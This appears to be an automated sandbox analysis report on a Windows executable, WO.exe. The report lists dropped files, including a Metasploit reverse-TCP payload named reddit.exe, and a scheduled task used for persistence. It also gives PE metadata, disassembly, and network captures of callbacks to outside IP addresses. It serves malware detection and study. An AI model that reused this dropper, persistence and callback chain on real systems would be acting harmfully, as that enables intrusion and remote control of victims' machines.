SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2jjetqy.uip.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\reddit.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73802
Entropy (8bit):	6.316899506372099
Encrypted:	false
SSDEEP:	1536:I15v3HYXkOXlgX3p+f4RYuL47YzAnsVebkTsT5Wj6Mb+KR0Nc8QsJq39:Y5v3Y0O1u3pplqvnsG+8e0Nc8QsC9
MD5:	23544090C6D379E3ECA7343C4F05D4D2
SHA1:	C9250E363790A573E9921A68B7ABE64F27E63DF1
SHA-256:	B439D22ED2C1E1F83F3C52D1A7307D9AEE8B516166AB221CB6D67B188CD80F56
SHA-512:	6ACA78B0653E87AC80D7F562E6AB6D650F4D53D375CAD043EB9613C7BBD642F7F82564A872B1B05520A77ACBEBA9DA0540C4CD5A855A28A8188EBE3A4B57775C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: C:\Users\user\AppData\Local\Temp\reddit.exe, Author: Joe Security Rule: JoeSecurity_MetasploitPayload, Description: Yara detected Metasploit Payload, Source: C:\Users\user\AppData\Local\Temp\reddit.exe, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: C:\Users\user\AppData\Local\Temp\reddit.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8...Y...Y...Y...E...Y..TE...Y...F...Y...F...Y...Y...Y..TQ..Y...z...Y..._...Y..Rich.Y..................PE..L....5EJ.............................%............@..........................`..............................................l...x....P...............................................................................................................text...f........................... ..`.rdata..............................@..@.data...\p.......@..................@....rsrc........P......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	6.5063374280780675
Encrypted:	false
SSDEEP:	3072:a2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcX011:7bJhs7QW69hd1MMdxPe9N9uA0hu9TBZn
MD5:	7176B040816932541EB9C2B91D90B29B
SHA1:	137A9C4620366CAFF2A1D1C297B6AE8C6D28761D
SHA-256:	DB9756031D99DCDDAE9E9254BD76156A580331A43802B6FAA68D2FD62C5B7E95
SHA-512:	1332645E8C6B53994B4F3F28B980C1FE646CEC1771E77982A85EC4036725F4F2930BD9A45CAEA8A03B8A8ECE0B432955B0D55E09396F5A80FD7C0D2825B0D1DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....msZ........../....2.`.....................@.............................@....................................................................... ..................................................................................H............................code....Z.......\.................. ..`.text........p.......`.............. ..`.rdata..-K.......L...d..............@..@.pdata..............................@..@.data....#..........................@....rsrc........ ... ..................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe:Zone.Identifier

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

\Device\Null

Download File

Process:	C:\Windows\System32\schtasks.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.1204038061804953
Encrypted:	false
SSDEEP:	3:wKPQotEWNFWJOFsF5/19gdAiy/wcA1F/3hiFE:3PXWJOKH/19liyx+HmE
MD5:	68D8BE12488F094D89E38F2DB94084CF
SHA1:	6B9E94D65E99061E28A386B421CBDF38701563F1
SHA-256:	EE84BBD7268F3E8737E118A5AAFF6D0510578FE741763AB164EA9AE26FA49214
SHA-512:	86EEA7D15D31626A3244DC64160895586851E252FE124C300B4269FA68B7EC51775FD8E6CB17F54FB2999A44EE206F776EC7E7C3A9FB12E7D2040FA9B92FF5D5
Malicious:	false
Preview:	..Folder: \..TaskName Next Run Time Status ..======================================== ====================== ===============..RunRedditMinute 23/12/2024 13:56:00 Running ..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.5063374280780675
TrID:	Win64 Executable GUI (202006/5) 92.64% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% VXD Driver (31/22) 0.01%
File name:	WO.exe
File size:	129'024 bytes
MD5:	7176b040816932541eb9c2b91d90b29b
SHA1:	137a9c4620366caff2a1d1c297b6ae8c6d28761d
SHA256:	db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95
SHA512:	1332645e8c6b53994b4f3f28b980c1fe646cec1771e77982a85ec4036725f4f2930bd9a45caea8a03b8a8ece0b432955b0d55e09396f5a80fd7c0d2825b0d1de
SSDEEP:	3072:a2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcX011:7bJhs7QW69hd1MMdxPe9N9uA0hu9TBZn
TLSH:	A9C32766B2A4119DDBB181F6D8911706EA7070B11B15A3DB7B7853F21B2B6C68F3C3B0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....msZ........../....2.`.....................@.............................@.............................................

File Icon


Icon Hash:	cbf838d8ce73190e

Static PE Info

General

Entrypoint:	0x140001000
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE
DLL Characteristics:
Time Stamp:	0x5A736DDC [Thu Feb 1 19:43:24 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7182b1ea6f92adbf459a2c65d8d4dd9e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec ecx
mov eax, 00000160h
dec eax
xor edx, edx
dec eax
mov ecx, 40020444h
add dword ptr [eax], eax
add byte ptr [eax], al
call 00007F5688EEC058h
dec eax
xor ecx, ecx
call 00007F5688EEC056h
dec eax
mov dword ptr [0001F420h], eax
dec ebp
xor eax, eax
dec eax
mov edx, 00001000h
dec eax
xor ecx, ecx
call 00007F5688EEC043h
dec eax
mov dword ptr [0001F3FFh], eax
dec eax
mov eax, 4001F088h
add dword ptr [eax], eax
add byte ptr [eax], al
dec eax
mov dword ptr [0001F43Eh], eax
call 00007F5688EF707Ah
call 00007F5688EF6D09h
call 00007F5688EF2E30h
call 00007F5688EF2423h
call 00007F5688EF1CB2h
call 00007F5688EF1981h
call 00007F5688EF1078h
call 00007F5688EF052Fh
call 00007F5688EEC152h
call 00007F5688EF5015h
call 00007F5688EF3874h
dec eax
mov edx, 4001F02Ah
add dword ptr [eax], eax
add byte ptr [eax], al
dec eax
lea ecx, dword ptr [0001F3C6h]
call 00007F5688EF70A2h
dec eax
mov ecx, FFFFFFF5h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f198	0xc8	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x22000	0x1ff0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d000	0x10c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f6a8	0x448	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x5a99	0x5c00	1d0c9527ee8a05d865534bbee542e47e	False	0.364937160326087	data	5.471300917234666	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.text	0x7000	0x102c5	0x10400	6e20cd0789b9aa50422f27883fd5e9bc	False	0.4876201923076923	data	6.333951903059359	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x4b2d	0x4c00	5adef60093ee71127f4e613fda5f050f	False	0.6623149671052632	VAX-order 68k Blit mpx/mux executable	6.662073317603483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x1d000	0x10c8	0x1200	415f7b43ac6a86ff843649544b818973	False	0.466796875	data	4.88380909718978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1f000	0x2318	0x1600	3b35fef9f8efd11d0fd11c512f35d665	False	0.32865767045454547	data	4.299905086985605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x22000	0x1ff0	0x2000	1e818fbf0d62bea6c3bd7fe5db2069e6	False	0.62890625	data	6.361691675494712	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x222ac	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.3942307692307692
RT_RCDATA	0x23354	0x9c7	data	1.0043947263284059
RT_RCDATA	0x23d1c	0xe	zlib compressed data	1.5714285714285714
RT_RCDATA	0x23d2c	0x1	very short file (no magic)	9.0
RT_RCDATA	0x23d30	0x9	data	1.8888888888888888
RT_GROUP_ICON	0x23d3c	0x14	data	1.1
RT_MANIFEST	0x23d50	0x2a0	XML 1.0 document, ASCII text, with very long lines (672), with no line terminators	0.5520833333333334

Imports

DLL	Import
msvcrt.dll	memset, wcsncmp, memmove, wcsncpy, wcsstr, _wcsnicmp, _wcsdup, free, _wcsicmp, wcslen, wcscpy, wcscmp, memcpy, tolower, wcscat, malloc
KERNEL32.dll	GetModuleHandleW, HeapCreate, GetStdHandle, HeapDestroy, ExitProcess, WriteFile, GetTempFileNameW, LoadLibraryExW, EnumResourceTypesW, FreeLibrary, RemoveDirectoryW, GetExitCodeProcess, EnumResourceNamesW, GetCommandLineW, LoadResource, SizeofResource, FreeResource, FindResourceW, GetShortPathNameW, GetSystemDirectoryW, EnterCriticalSection, CloseHandle, LeaveCriticalSection, InitializeCriticalSection, WaitForSingleObject, TerminateThread, CreateThread, Sleep, WideCharToMultiByte, HeapAlloc, HeapFree, LoadLibraryW, GetProcAddress, GetCurrentProcessId, GetCurrentThreadId, GetModuleFileNameW, GetEnvironmentVariableW, SetEnvironmentVariableW, GetCurrentProcess, TerminateProcess, RtlLookupFunctionEntry, RtlVirtualUnwind, RemoveVectoredExceptionHandler, AddVectoredExceptionHandler, HeapSize, MultiByteToWideChar, CreateDirectoryW, SetFileAttributesW, GetTempPathW, DeleteFileW, GetCurrentDirectoryW, SetCurrentDirectoryW, CreateFileW, SetFilePointer, TlsFree, TlsGetValue, TlsSetValue, TlsAlloc, HeapReAlloc, DeleteCriticalSection, GetLastError, SetLastError, UnregisterWait, GetCurrentThread, DuplicateHandle, RegisterWaitForSingleObject
SHELL32.DLL	ShellExecuteExW, SHGetFolderLocation, SHGetPathFromIDListW
WINMM.DLL	timeBeginPeriod
OLE32.DLL	CoInitialize, CoTaskMemFree
SHLWAPI.DLL	PathAddBackslashW, PathRenameExtensionW, PathQuoteSpacesW, PathRemoveArgsW, PathRemoveBackslashW
USER32.DLL	CharUpperW, CharLowerW, MessageBoxW, DefWindowProcW, GetWindowLongPtrW, GetWindowTextLengthW, GetWindowTextW, EnableWindow, DestroyWindow, UnregisterClassW, LoadIconW, LoadCursorW, RegisterClassExW, IsWindowEnabled, GetSystemMetrics, CreateWindowExW, SetWindowLongPtrW, SendMessageW, SetFocus, CreateAcceleratorTableW, SetForegroundWindow, BringWindowToTop, GetMessageW, TranslateAcceleratorW, TranslateMessage, DispatchMessageW, DestroyAcceleratorTable, PostMessageW, GetForegroundWindow, GetWindowThreadProcessId, IsWindowVisible, EnumWindows, SetWindowPos
GDI32.DLL	GetStockObject
COMCTL32.DLL	InitCommonControlsEx

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T19:54:05.154586+0100	2820208	ETPRO MALWARE Possible Metasploit Payload (AB Template PDB)	1	185.151.51.214	443	192.168.2.4	49730	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 19:54:02.069828033 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:02.069895983 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:02.070873976 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:02.094254971 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:02.094275951 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:03.799760103 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:03.799880028 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:03.802603960 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:03.802619934 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:03.802885056 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:03.814167023 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:03.859334946 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:04.824199915 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:04.824244022 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:04.824259043 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:04.824320078 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:04.824351072 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:04.824393988 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:04.862031937 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:04.862066984 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:04.862154961 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:04.862163067 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:04.862195015 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:05.106182098 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:05.106204987 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:05.106288910 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:05.106308937 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:05.106348038 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:05.139035940 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:05.139056921 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:05.139110088 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:05.139116049 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:05.139184952 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:05.154383898 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:05.154481888 CET	443	49730	185.151.51.214	192.168.2.4
Dec 23, 2024 19:54:05.154495955 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:05.154534101 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:05.156861067 CET	49730	443	192.168.2.4	185.151.51.214
Dec 23, 2024 19:54:05.249785900 CET	49731	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:05.370362043 CET	1121	49731	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:05.370456934 CET	49731	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:12.682234049 CET	49732	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:12.701083899 CET	49733	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:12.802158117 CET	1121	49732	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:12.802254915 CET	49732	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:12.820744991 CET	1121	49733	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:12.820847988 CET	49733	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:27.306339979 CET	1121	49731	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:27.306437016 CET	49731	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:27.308517933 CET	49731	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:27.309370041 CET	49740	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:27.428148031 CET	1121	49731	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:27.428987980 CET	1121	49740	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:27.429121017 CET	49740	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:34.728704929 CET	1121	49732	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:34.728806019 CET	49732	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:34.730112076 CET	49732	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:34.732821941 CET	49741	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:34.744146109 CET	1121	49733	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:34.744225979 CET	49733	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:34.744611025 CET	49733	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:34.745378971 CET	49742	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:34.850126982 CET	1121	49732	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:34.852796078 CET	1121	49741	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:34.853009939 CET	49741	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:34.864099979 CET	1121	49733	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:34.864973068 CET	1121	49742	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:34.865031958 CET	49742	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:49.322274923 CET	1121	49740	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:49.322410107 CET	49740	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:49.323249102 CET	49740	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:49.330915928 CET	49743	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:49.442954063 CET	1121	49740	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:49.450489044 CET	1121	49743	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:49.450568914 CET	49743	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:56.744452953 CET	1121	49741	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:56.744537115 CET	49741	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:56.744961023 CET	49741	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:56.745867968 CET	49745	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:56.759867907 CET	1121	49742	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:56.759944916 CET	49742	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:56.760442019 CET	49742	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:56.761166096 CET	49746	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:56.864953995 CET	1121	49741	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:56.865756035 CET	1121	49745	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:56.865859985 CET	49745	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:54:56.879909039 CET	1121	49742	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:56.880853891 CET	1121	49746	147.185.221.23	192.168.2.4
Dec 23, 2024 19:54:56.881036997 CET	49746	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:06.050448895 CET	49763	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:06.170289040 CET	1121	49763	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:06.170510054 CET	49763	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:11.385516882 CET	1121	49743	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:11.385658026 CET	49743	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:11.386077881 CET	49743	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:11.387069941 CET	49779	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:11.505800962 CET	1121	49743	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:11.506777048 CET	1121	49779	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:11.506951094 CET	49779	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:18.761699915 CET	1121	49745	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:18.761775970 CET	49745	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:18.762178898 CET	49745	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:18.763004065 CET	49795	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:18.775876999 CET	1121	49746	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:18.775948048 CET	49746	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:18.776299953 CET	49746	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:18.777081966 CET	49796	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:18.881819010 CET	1121	49745	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:18.882658958 CET	1121	49795	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:18.882739067 CET	49795	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:18.896097898 CET	1121	49746	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:18.896864891 CET	1121	49796	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:18.896929026 CET	49796	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:28.095720053 CET	1121	49763	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:28.095777035 CET	49763	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:28.096169949 CET	49763	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:28.096914053 CET	49817	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:28.215965033 CET	1121	49763	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:28.216461897 CET	1121	49817	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:28.216586113 CET	49817	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:33.416738033 CET	1121	49779	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:33.416862011 CET	49779	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:33.417294025 CET	49779	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:33.418087006 CET	49831	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:33.536952019 CET	1121	49779	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:33.537940025 CET	1121	49831	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:33.538016081 CET	49831	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:40.870372057 CET	1121	49796	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:40.874428034 CET	49796	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:40.874836922 CET	49796	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:40.875685930 CET	49849	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:40.885548115 CET	1121	49795	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:40.885847092 CET	49795	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:40.886390924 CET	49795	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:40.887249947 CET	49850	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:40.994458914 CET	1121	49796	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:40.995260000 CET	1121	49849	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:40.995347023 CET	49849	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:41.005944014 CET	1121	49795	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:41.006825924 CET	1121	49850	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:41.006901026 CET	49850	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:50.105205059 CET	1121	49817	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:50.105282068 CET	49817	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:50.105695009 CET	49817	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:50.106537104 CET	49870	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:50.225459099 CET	1121	49817	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:50.226257086 CET	1121	49870	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:50.226463079 CET	49870	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:55.418540955 CET	1121	49831	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:55.418726921 CET	49831	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:55.419152021 CET	49831	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:55.419979095 CET	49882	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:55:55.540427923 CET	1121	49831	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:55.541160107 CET	1121	49882	147.185.221.23	192.168.2.4
Dec 23, 2024 19:55:55.541243076 CET	49882	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:56:02.964159966 CET	1121	49849	147.185.221.23	192.168.2.4
Dec 23, 2024 19:56:02.964262962 CET	49849	1121	192.168.2.4	147.185.221.23
Dec 23, 2024 19:56:03.011008978 CET	1121	49850	147.185.221.23	192.168.2.4
Dec 23, 2024 19:56:03.011071920 CET	49850	1121	192.168.2.4	147.185.221.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 19:54:01.633519888 CET	62472	53	192.168.2.4	1.1.1.1
Dec 23, 2024 19:54:02.002512932 CET	53	62472	1.1.1.1	192.168.2.4

DNS Queries

